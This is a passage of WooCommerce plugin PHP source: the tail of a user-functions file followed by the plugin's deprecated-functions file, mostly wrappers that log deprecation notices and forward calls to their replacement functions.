* @param int $user_id User ID to mark active.
*/
function wc_update_user_last_active( $user_id ) {
if ( ! $user_id ) {
return;
}
update_user_meta( $user_id, 'wc_last_active', (string) strtotime( gmdate( 'Y-m-d', time() ) ) );
}
/**
* Translate WC roles using the woocommerce textdomain.
*
* @since 3.7.0
* @param string $translation Translated text.
* @param string $text Text to translate.
* @param string $context Context information for the translators.
* @param string $domain Text domain. Unique identifier for retrieving translated strings.
* @return string
*/
function wc_translate_user_roles( $translation, $text, $context, $domain ) {
// translate_user_role() only accepts a second parameter starting in WP 5.2.
if ( version_compare( get_bloginfo( 'version' ), '5.2', '<' ) ) {
return $translation;
}
if ( 'User role' === $context && 'default' === $domain && in_array( $text, array( 'Shop manager', 'Customer' ), true ) ) {
return translate_user_role( $text, 'woocommerce' );
}
return $translation;
}
add_filter( 'gettext_with_context', 'wc_translate_user_roles', 10, 4 );/**
* Deprecated functions
*
* Where functions come to die.
*
* @author Automattic
* @category Core
* @package WooCommerce\Functions
* @version 3.3.0
*/
use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Internal\Admin\Logging\Settings;
use Automattic\WooCommerce\Utilities\LoggingUtil;
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Runs a deprecated action with notice only if used.
*
* @since 3.0.0
* @param string $tag The name of the action hook.
* @param array $args Array of additional function arguments to be passed to do_action().
* @param string $version The version of WooCommerce that deprecated the hook.
* @param string $replacement The hook that should have been used.
* @param string $message A message regarding the change.
*/
function wc_do_deprecated_action( $tag, $args, $version, $replacement = null, $message = null ) {
if ( ! has_action( $tag ) ) {
return;
}
wc_deprecated_hook( $tag, $version, $replacement, $message );
do_action_ref_array( $tag, $args );
}
/**
* Wrapper for deprecated functions so we can apply some extra logic.
*
* @since 3.0.0
* @param string $function Function used.
* @param string $version Version the message was added in.
* @param string $replacement Replacement for the called function.
*/
function wc_deprecated_function( $function, $version, $replacement = null ) {
// @codingStandardsIgnoreStart
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_function_run', $function, $replacement, $version );
$log_string = "The {$function} function is deprecated since version {$version}.";
$log_string .= $replacement ? " Replace with {$replacement}." : '';
error_log( $log_string );
} else {
_deprecated_function( $function, $version, $replacement );
}
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for deprecated hook so we can apply some extra logic.
*
* @since 3.3.0
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement The hook that should have been used.
* @param string $message A message regarding the change.
*/
function wc_deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
// @codingStandardsIgnoreStart
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
$message = empty( $message ) ? '' : ' ' . $message;
$log_string = "{$hook} is deprecated since version {$version}";
$log_string .= $replacement ? "! Use {$replacement} instead." : ' with no alternative available.';
error_log( $log_string . $message );
} else {
_deprecated_hook( $hook, $version, $replacement, $message );
}
// @codingStandardsIgnoreEnd
}
/**
* When catching an exception, this allows us to log it if unexpected.
*
* @since 3.3.0
* @param Exception $exception_object The exception object.
* @param string $function The function which threw exception.
* @param array $args The args passed to the function.
*/
function wc_caught_exception( $exception_object, $function = '', $args = array() ) {
// @codingStandardsIgnoreStart
$message = $exception_object->getMessage();
$message .= '. Args: ' . print_r( $args, true ) . '.';
do_action( 'woocommerce_caught_exception', $exception_object, $function, $args );
error_log( "Exception caught in {$function}. {$message}." );
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for _doing_it_wrong().
*
* @since 3.0.0
* @param string $function Function used.
* @param string $message Message to log.
* @param string $version Version the message was added in.
*/
function wc_doing_it_wrong( $function, $message, $version ) {
// @codingStandardsIgnoreStart
$message .= ' Backtrace: ' . wp_debug_backtrace_summary();
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'doing_it_wrong_run', $function, $message, $version );
error_log( "{$function} was called incorrectly. {$message}. This message was added in version {$version}." );
} else {
_doing_it_wrong( $function, $message, $version );
}
// @codingStandardsIgnoreEnd
}
/**
* Wrapper for deprecated arguments so we can apply some extra logic.
*
* @since 3.0.0
* @param string $argument
* @param string $version
* @param string $replacement
*/
function wc_deprecated_argument( $argument, $version, $message = null ) {
if ( wp_doing_ajax() || WC()->is_rest_api_request() ) {
do_action( 'deprecated_argument_run', $argument, $message, $version );
error_log( "The {$argument} argument is deprecated since version {$version}. {$message}" );
} else {
_deprecated_argument( $argument, $version, $message );
}
}
/**
* @deprecated 2.1
*/
function woocommerce_show_messages() {
wc_deprecated_function( 'woocommerce_show_messages', '2.1', 'wc_print_notices' );
wc_print_notices();
}
/**
* @deprecated 2.1
*/
function woocommerce_weekend_area_js() {
wc_deprecated_function( 'woocommerce_weekend_area_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_tooltip_js() {
wc_deprecated_function( 'woocommerce_tooltip_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_datepicker_js() {
wc_deprecated_function( 'woocommerce_datepicker_js', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_admin_scripts() {
wc_deprecated_function( 'woocommerce_admin_scripts', '2.1' );
}
/**
* @deprecated 2.1
*/
function woocommerce_create_page( $slug, $option = '', $page_title = '', $page_content = '', $post_parent = 0 ) {
wc_deprecated_function( 'woocommerce_create_page', '2.1', 'wc_create_page' );
return wc_create_page( $slug, $option, $page_title, $page_content, $post_parent );
}
/**
* @deprecated 2.1
*/
function woocommerce_readfile_chunked( $file, $retbytes = true ) {
wc_deprecated_function( 'woocommerce_readfile_chunked', '2.1', 'WC_Download_Handler::readfile_chunked()' );
return WC_Download_Handler::readfile_chunked( $file );
}
/**
* Formal total costs - format to the number of decimal places for the base currency.
*
* @access public
* @param mixed $number
* @deprecated 2.1
* @return string
*/
function woocommerce_format_total( $number ) {
wc_deprecated_function( __FUNCTION__, '2.1', 'wc_format_decimal()' );
return wc_format_decimal( $number, wc_get_price_decimals(), false );
}
/**
* Get product name with extra details such as SKU price and attributes. Used within admin.
*
* @access public
* @param WC_Product $product
* @deprecated 2.1
* @return string
*/
function woocommerce_get_formatted_product_name( $product ) {
wc_deprecated_function( __FUNCTION__, '2.1', 'WC_Product::get_formatted_name()' );
return $product->get_formatted_name();
}
/**
* Handle IPN requests for the legacy paypal gateway by calling gateways manually if needed.
*
* @access public
*/
function woocommerce_legacy_paypal_ipn() {
if ( ! empty( $_GET['paypalListener'] ) && 'paypal_standard_IPN' === $_GET['paypalListener'] ) {
WC()->payment_gateways();
do_action( 'woocommerce_api_wc_gateway_paypal' );
}
}
add_action( 'init', 'woocommerce_legacy_paypal_ipn' );
/**
* @deprecated 3.0
*/
function get_product( $the_product = false, $args = array() ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product' );
return wc_get_product( $the_product, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_protected_product_add_to_cart( $passed, $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_protected_product_add_to_cart' );
return wc_protected_product_add_to_cart( $passed, $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_empty_cart() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_empty_cart' );
wc_empty_cart();
}
/**
* @deprecated 3.0
*/
function woocommerce_load_persistent_cart( $user_login, $user = 0 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_load_persistent_cart' );
return wc_load_persistent_cart( $user_login, $user );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_to_cart_message( $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_to_cart_message' );
wc_add_to_cart_message( $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_clear_cart_after_payment() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clear_cart_after_payment' );
wc_clear_cart_after_payment();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_subtotal_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_subtotal_html' );
wc_cart_totals_subtotal_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_shipping_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_html' );
wc_cart_totals_shipping_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_coupon_html( $coupon ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_coupon_html' );
wc_cart_totals_coupon_html( $coupon );
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_order_total_html() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_order_total_html' );
wc_cart_totals_order_total_html();
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_fee_html( $fee ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_fee_html' );
wc_cart_totals_fee_html( $fee );
}
/**
* @deprecated 3.0
*/
function woocommerce_cart_totals_shipping_method_label( $method ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cart_totals_shipping_method_label' );
return wc_cart_totals_shipping_method_label( $method );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_template_part( $slug, $name = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template_part' );
wc_get_template_part( $slug, $name );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_template( $template_name, $args = array(), $template_path = '', $default_path = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_template' );
wc_get_template( $template_name, $args, $template_path, $default_path );
}
/**
* @deprecated 3.0
*/
function woocommerce_locate_template( $template_name, $template_path = '', $default_path = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_locate_template' );
return wc_locate_template( $template_name, $template_path, $default_path );
}
/**
* @deprecated 3.0
*/
function woocommerce_mail( $to, $subject, $message, $headers = "Content-Type: text/html\r\n", $attachments = "" ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_mail' );
wc_mail( $to, $subject, $message, $headers, $attachments );
}
/**
* @deprecated 3.0
*/
function woocommerce_disable_admin_bar( $show_admin_bar ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_disable_admin_bar' );
return wc_disable_admin_bar( $show_admin_bar );
}
/**
* @deprecated 3.0
*/
function woocommerce_create_new_customer( $email, $username = '', $password = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_create_new_customer' );
return wc_create_new_customer( $email, $username, $password );
}
/**
* @deprecated 3.0
*/
function woocommerce_set_customer_auth_cookie( $customer_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_customer_auth_cookie' );
wc_set_customer_auth_cookie( $customer_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_update_new_customer_past_orders( $customer_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_new_customer_past_orders' );
return wc_update_new_customer_past_orders( $customer_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_paying_customer( $order_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_paying_customer' );
wc_paying_customer( $order_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_bought_product( $customer_email, $user_id, $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_bought_product' );
return wc_customer_bought_product( $customer_email, $user_id, $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_has_capability( $allcaps, $caps, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_has_capability' );
return wc_customer_has_capability( $allcaps, $caps, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_sanitize_taxonomy_name( $taxonomy ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_sanitize_taxonomy_name' );
return wc_sanitize_taxonomy_name( $taxonomy );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_filename_from_url( $file_url ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_filename_from_url' );
return wc_get_filename_from_url( $file_url );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_dimension( $dim, $to_unit ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_dimension' );
return wc_get_dimension( $dim, $to_unit );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_weight( $weight, $to_unit ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_weight' );
return wc_get_weight( $weight, $to_unit );
}
/**
* @deprecated 3.0
*/
function woocommerce_trim_zeros( $price ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_trim_zeros' );
return wc_trim_zeros( $price );
}
/**
* @deprecated 3.0
*/
function woocommerce_round_tax_total( $tax ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_round_tax_total' );
return wc_round_tax_total( $tax );
}
/**
* @deprecated 3.0
*/
function woocommerce_format_decimal( $number, $dp = false, $trim_zeros = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_decimal' );
return wc_format_decimal( $number, $dp, $trim_zeros );
}
/**
* @deprecated 3.0
*/
function woocommerce_clean( $var ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_clean' );
return wc_clean( $var );
}
/**
* @deprecated 3.0
*/
function woocommerce_array_overlay( $a1, $a2 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_array_overlay' );
return wc_array_overlay( $a1, $a2 );
}
/**
* @deprecated 3.0
*/
function woocommerce_price( $price, $args = array() ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_price' );
return wc_price( $price, $args );
}
/**
* @deprecated 3.0
*/
function woocommerce_let_to_num( $size ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_let_to_num' );
return wc_let_to_num( $size );
}
/**
* @deprecated 3.0
*/
function woocommerce_date_format() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_date_format' );
return wc_date_format();
}
/**
* @deprecated 3.0
*/
function woocommerce_time_format() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_time_format' );
return wc_time_format();
}
/**
* @deprecated 3.0
*/
function woocommerce_timezone_string() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_timezone_string' );
return wc_timezone_string();
}
if ( ! function_exists( 'woocommerce_rgb_from_hex' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_rgb_from_hex( $color ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_rgb_from_hex' );
return wc_rgb_from_hex( $color );
}
}
if ( ! function_exists( 'woocommerce_hex_darker' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_hex_darker( $color, $factor = 30 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_darker' );
return wc_hex_darker( $color, $factor );
}
}
if ( ! function_exists( 'woocommerce_hex_lighter' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_hex_lighter( $color, $factor = 30 ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_hex_lighter' );
return wc_hex_lighter( $color, $factor );
}
}
if ( ! function_exists( 'woocommerce_light_or_dark' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_light_or_dark' );
return wc_light_or_dark( $color, $dark, $light );
}
}
if ( ! function_exists( 'woocommerce_format_hex' ) ) {
/**
* @deprecated 3.0
*/
function woocommerce_format_hex( $hex ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_format_hex' );
return wc_format_hex( $hex );
}
}
/**
* @deprecated 3.0
*/
function woocommerce_get_order_id_by_order_key( $order_key ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_id_by_order_key' );
return wc_get_order_id_by_order_key( $order_key );
}
/**
* @deprecated 3.0
*/
function woocommerce_downloadable_file_permission( $download_id, $product_id, $order ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_file_permission' );
return wc_downloadable_file_permission( $download_id, $product_id, $order );
}
/**
* @deprecated 3.0
*/
function woocommerce_downloadable_product_permissions( $order_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_downloadable_product_permissions' );
wc_downloadable_product_permissions( $order_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_order_item( $order_id, $item ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item' );
return wc_add_order_item( $order_id, $item );
}
/**
* @deprecated 3.0
*/
function woocommerce_delete_order_item( $item_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item' );
return wc_delete_order_item( $item_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_update_order_item_meta' );
return wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value );
}
/**
* @deprecated 3.0
*/
function woocommerce_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_add_order_item_meta' );
return wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique );
}
/**
* @deprecated 3.0
*/
function woocommerce_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_delete_order_item_meta' );
return wc_delete_order_item_meta( $item_id, $meta_key, $meta_value, $delete_all );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_order_item_meta( $item_id, $key, $single = true ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_order_item_meta' );
return wc_get_order_item_meta( $item_id, $key, $single );
}
/**
* @deprecated 3.0
*/
function woocommerce_cancel_unpaid_orders() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_cancel_unpaid_orders' );
wc_cancel_unpaid_orders();
}
/**
* @deprecated 3.0
*/
function woocommerce_processing_order_count() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_processing_order_count' );
return wc_processing_order_count();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_page_id( $page ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_page_id' );
return wc_get_page_id( $page );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_endpoint_url( $endpoint, $value = '', $permalink = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_endpoint_url' );
return wc_get_endpoint_url( $endpoint, $value, $permalink );
}
/**
* @deprecated 3.0
*/
function woocommerce_lostpassword_url( $url ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_lostpassword_url' );
return wc_lostpassword_url( $url );
}
/**
* @deprecated 3.0
*/
function woocommerce_customer_edit_account_url() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_customer_edit_account_url' );
return wc_customer_edit_account_url();
}
/**
* @deprecated 3.0
*/
function woocommerce_nav_menu_items( $items, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_items' );
return wc_nav_menu_items( $items );
}
/**
* @deprecated 3.0
*/
function woocommerce_nav_menu_item_classes( $menu_items, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_nav_menu_item_classes' );
return wc_nav_menu_item_classes( $menu_items );
}
/**
* @deprecated 3.0
*/
function woocommerce_list_pages( $pages ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_list_pages' );
return wc_list_pages( $pages );
}
/**
* @deprecated 3.0
*/
function woocommerce_product_dropdown_categories( $args = array(), $deprecated_hierarchical = 1, $deprecated_show_uncategorized = 1, $deprecated_orderby = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_dropdown_categories' );
return wc_product_dropdown_categories( $args, $deprecated_hierarchical, $deprecated_show_uncategorized, $deprecated_orderby );
}
/**
* @deprecated 3.0
*/
function woocommerce_walk_category_dropdown_tree( $a1 = '', $a2 = '', $a3 = '' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_walk_category_dropdown_tree' );
return wc_walk_category_dropdown_tree( $a1, $a2, $a3 );
}
/**
* @deprecated 3.0
*/
function woocommerce_taxonomy_metadata_wpdbfix() {
wc_deprecated_function( __FUNCTION__, '3.0' );
}
/**
* @deprecated 3.0
*/
function wc_taxonomy_metadata_wpdbfix() {
wc_deprecated_function( __FUNCTION__, '3.0' );
}
/**
* @deprecated 3.0
*/
function woocommerce_order_terms( $the_term, $next_id, $taxonomy, $index = 0, $terms = null ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_reorder_terms' );
return wc_reorder_terms( $the_term, $next_id, $taxonomy, $index, $terms );
}
/**
* @deprecated 3.0
*/
function woocommerce_set_term_order( $term_id, $index, $taxonomy, $recursive = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_set_term_order' );
return wc_set_term_order( $term_id, $index, $taxonomy, $recursive );
}
/**
* @deprecated 3.0
*/
function woocommerce_terms_clauses( $clauses, $taxonomies, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_terms_clauses' );
return wc_terms_clauses( $clauses, $taxonomies, $args );
}
/**
* @deprecated 3.0
*/
function _woocommerce_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids ) {
wc_deprecated_function( __FUNCTION__, '3.0', '_wc_term_recount' );
return _wc_term_recount( $terms, $taxonomy, $callback, $terms_are_term_taxonomy_ids );
}
/**
* @deprecated 3.0
*/
function woocommerce_recount_after_stock_change( $product_id ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_recount_after_stock_change' );
return wc_recount_after_stock_change( $product_id );
}
/**
* @deprecated 3.0
*/
function woocommerce_change_term_counts( $terms, $taxonomies, $args ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_change_term_counts' );
return wc_change_term_counts( $terms, $taxonomies );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_product_ids_on_sale() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_ids_on_sale' );
return wc_get_product_ids_on_sale();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_featured_product_ids() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_featured_product_ids' );
return wc_get_featured_product_ids();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_product_terms( $object_id, $taxonomy, $fields = 'all' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_product_terms' );
return wc_get_product_terms( $object_id, $taxonomy, array( 'fields' => $fields ) );
}
/**
* @deprecated 3.0
*/
function woocommerce_product_post_type_link( $permalink, $post ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_product_post_type_link' );
return wc_product_post_type_link( $permalink, $post );
}
/**
* @deprecated 3.0
*/
function woocommerce_placeholder_img_src() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img_src' );
return wc_placeholder_img_src();
}
/**
* @deprecated 3.0
*/
function woocommerce_placeholder_img( $size = 'woocommerce_thumbnail' ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_placeholder_img' );
return wc_placeholder_img( $size );
}
/**
* @deprecated 3.0
*/
function woocommerce_get_formatted_variation( $variation = '', $flat = false ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_formatted_variation' );
return wc_get_formatted_variation( $variation, $flat );
}
/**
* @deprecated 3.0
*/
function woocommerce_scheduled_sales() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_scheduled_sales' );
return wc_scheduled_sales();
}
/**
* @deprecated 3.0
*/
function woocommerce_get_attachment_image_attributes( $attr ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_get_attachment_image_attributes' );
return wc_get_attachment_image_attributes( $attr );
}
/**
* @deprecated 3.0
*/
function woocommerce_prepare_attachment_for_js( $response ) {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_prepare_attachment_for_js' );
return wc_prepare_attachment_for_js( $response );
}
/**
* @deprecated 3.0
*/
function woocommerce_track_product_view() {
wc_deprecated_function( __FUNCTION__, '3.0', 'wc_track_product_view' );
return wc_track_product_view();
}
/**
* @deprecated 2.3 has no replacement
*/
function woocommerce_compile_less_styles() {
wc_deprecated_function( 'woocommerce_compile_less_styles', '2.3' );
}
/**
* woocommerce_calc_shipping was an option used to determine if shipping was enabled prior to version 2.6.0. This has since been replaced with wc_shipping_enabled() function and
* the woocommerce_ship_to_countries setting.
* @deprecated 2.6.0
* @return string
*/
function woocommerce_calc_shipping_backwards_compatibility( $value ) {
if ( Constants::is_defined( 'WC_UPDATING' ) ) {
return $value;
}
return 'disabled' === get_option( 'woocommerce_ship_to_countries' ) ? 'no' : 'yes';
}
add_filter( 'pre_option_woocommerce_calc_shipping', 'woocommerce_calc_shipping_backwards_compatibility' );
/**
* @deprecated 3.0.0
* @see WC_Structured_Data class
*
* @return string
*/
function woocommerce_get_product_schema() {
wc_deprecated_function( 'woocommerce_get_product_schema', '3.0' );
global $product;
$schema = "Product";
// Downloadable product schema handling
if ( $product->is_downloadable() ) {
switch ( $product->download_type ) {
case 'application' :
$schema = "SoftwareApplication";
break;
case 'music' :
$schema = "MusicAlbum";
break;
default :
$schema = "Product";
break;
}
}
return 'http://schema.org/' . $schema;
}
/**
* Save product price.
*
* This is a private function (internal use ONLY) used until a data manipulation api is built.
*
* @deprecated 3.0.0
* @param int $product_id
* @param float $regular_price
* @param float $sale_price
* @param string $date_from
* @param string $date_to
*/
function _wc_save_product_price( $product_id, $regular_price, $sale_price = '', $date_from = '', $date_to = '' ) {
wc_doing_it_wrong( '_wc_save_product_price()', 'This function is not for developer use and is deprecated.', '3.0' );
$product_id = absint( $product_id );
$regular_price = wc_format_decimal( $regular_price );
$sale_price = '' === $sale_price ? '' : wc_format_decimal( $sale_price );
$date_from = wc_clean( $date_from );
$date_to = wc_clean( $date_to );
update_post_meta( $product_id, '_regular_price', $regular_price );
update_post_meta( $product_id, '_sale_price', $sale_price );
// Save Dates
update_post_meta( $product_id, '_sale_price_dates_from', $date_from ? strtotime( $date_from ) : '' );
update_post_meta( $product_id, '_sale_price_dates_to', $date_to ? strtotime( $date_to ) : '' );
if ( $date_to && ! $date_from ) {
$date_from = strtotime( 'NOW', current_time( 'timestamp' ) );
update_post_meta( $product_id, '_sale_price_dates_from', $date_from );
}
// Update price if on sale
if ( '' !== $sale_price && '' === $date_to && '' === $date_from ) {
update_post_meta( $product_id, '_price', $sale_price );
} else {
update_post_meta( $product_id, '_price', $regular_price );
}
if ( '' !== $sale_price && $date_from && strtotime( $date_from ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
update_post_meta( $product_id, '_price', $sale_price );
}
if ( $date_to && strtotime( $date_to ) < strtotime( 'NOW', current_time( 'timestamp' ) ) ) {
update_post_meta( $product_id, '_price', $regular_price );
update_post_meta( $product_id, '_sale_price_dates_from', '' );
update_post_meta( $product_id, '_sale_price_dates_to', '' );
}
}
/**
* Return customer avatar URL.
*
* @deprecated 3.1.0
* @since 2.6.0
* @param string $email the customer's email.
* @return string the URL to the customer's avatar.
*/
function wc_get_customer_avatar_url( $email ) {
// Deprecated in favor of WordPress get_avatar_url() function.
wc_deprecated_function( 'wc_get_customer_avatar_url()', '3.1', 'get_avatar_url()' );
return get_avatar_url( $email );
}
/**
* WooCommerce Core Supported Themes.
*
* @deprecated 3.3.0
* @since 2.2
* @return string[]
*/
function wc_get_core_supported_themes() {
wc_deprecated_function( 'wc_get_core_supported_themes()', '3.3' );
return array( 'twentyseventeen', 'twentysixteen', 'twentyfifteen', 'twentyfourteen', 'twentythirteen', 'twentyeleven', 'twentytwelve', 'twentyten' );
}
/**
* Get min/max price meta query args.
*
* @deprecated 3.6.0
* @since 3.0.0
* @param array $args Min price and max price arguments.
* @return array
*/
function wc_get_min_max_price_meta_query( $args ) {
wc_deprecated_function( 'wc_get_min_max_price_meta_query()', '3.6' );
$current_min_price = isset( $args['min_price'] ) ? floatval( $args['min_price'] ) : 0;
$current_max_price = isset( $args['max_price'] ) ? floatval( $args['max_price'] ) : PHP_INT_MAX;
return apply_filters(
'woocommerce_get_min_max_price_meta_query',
array(
'key' => '_price',
'value' => array( $current_min_price, $current_max_price ),
'compare' => 'BETWEEN',
'type' => 'DECIMAL(10,' . wc_get_price_decimals() . ')',
),
$args
);
}
/**
* When a term is split, ensure meta data maintained.
*
* @deprecated 3.6.0
* @param int $old_term_id Old term ID.
* @param int $new_term_id New term ID.
* @param string $term_taxonomy_id Term taxonomy ID.
* @param string $taxonomy Taxonomy.
*/
function wc_taxonomy_metadata_update_content_for_split_terms( $old_term_id, $new_term_id, $term_taxonomy_id, $taxonomy ) {
wc_deprecated_function( 'wc_taxonomy_metadata_update_content_for_split_terms', '3.6' );
}
/**
* WooCommerce Term Meta API.
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param string $prev_value Previous value. (default: '').
* @return bool
*/
function update_woocommerce_term_meta( $term_id, $meta_key, $meta_value, $prev_value = '' ) {
wc_deprecated_function( 'update_woocommerce_term_meta', '3.6', 'update_term_meta' );
return function_exists( 'update_term_meta' ) ? update_term_meta( $term_id, $meta_key, $meta_value, $prev_value ) : update_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value, $prev_value );
}
/**
* WooCommerce Term Meta API.
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param bool $unique Make meta key unique. (default: false).
* @return bool
*/
